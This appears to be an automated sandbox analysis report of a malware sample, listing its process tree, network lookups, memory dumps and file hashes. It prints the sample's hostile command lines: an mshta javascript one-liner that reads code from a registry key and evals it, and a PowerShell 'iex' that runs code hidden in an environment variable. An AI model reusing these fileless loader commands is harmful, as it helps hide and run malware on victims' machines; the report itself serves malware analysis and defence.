PID 3264 wrote to memory of 4504 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3264 wrote to memory of 4504 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:ZiqLb4U="JfHwJ";I8x1=new%20ActiveXObject("WScript.Shell");P5YPAtJ4I="aYpRPv";uCpg4=I8x1.RegRead("HKCU\\software\\CZRauSV\\Kkz5Cbdden");RQ7wWb1iQ="d5";eval(uCpg4);sqlj0j="2q";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zxeczlaw

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 20.231.121.79:80 tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 142.53.16.96.in-addr.arpa udp
US 8.8.8.8:53 51.15.97.104.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

memory/2380-1-0x0000000000457000-0x0000000000459000-memory.dmp

memory/2380-0-0x0000000000400000-0x000000000045FCB0-memory.dmp

memory/2380-2-0x0000000000400000-0x000000000045FCB0-memory.dmp

memory/2380-4-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/2380-7-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/2380-6-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/2380-5-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/2380-8-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/2380-3-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/2380-9-0x00000000022A0000-0x000000000237C000-memory.dmp

memory/4504-11-0x0000000004FA0000-0x0000000004FD6000-memory.dmp

memory/4504-12-0x0000000005670000-0x0000000005C98000-memory.dmp

memory/4504-13-0x00000000055D0000-0x00000000055F2000-memory.dmp

memory/4504-14-0x0000000005DD0000-0x0000000005E36000-memory.dmp

memory/4504-15-0x0000000005E40000-0x0000000005EA6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uurgn1nl.2i0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4504-25-0x0000000005EB0000-0x0000000006204000-memory.dmp

memory/4504-26-0x0000000006360000-0x000000000637E000-memory.dmp

memory/4504-27-0x00000000063A0000-0x00000000063EC000-memory.dmp

memory/4504-28-0x0000000007A80000-0x00000000080FA000-memory.dmp

memory/4504-29-0x0000000007430000-0x000000000744A000-memory.dmp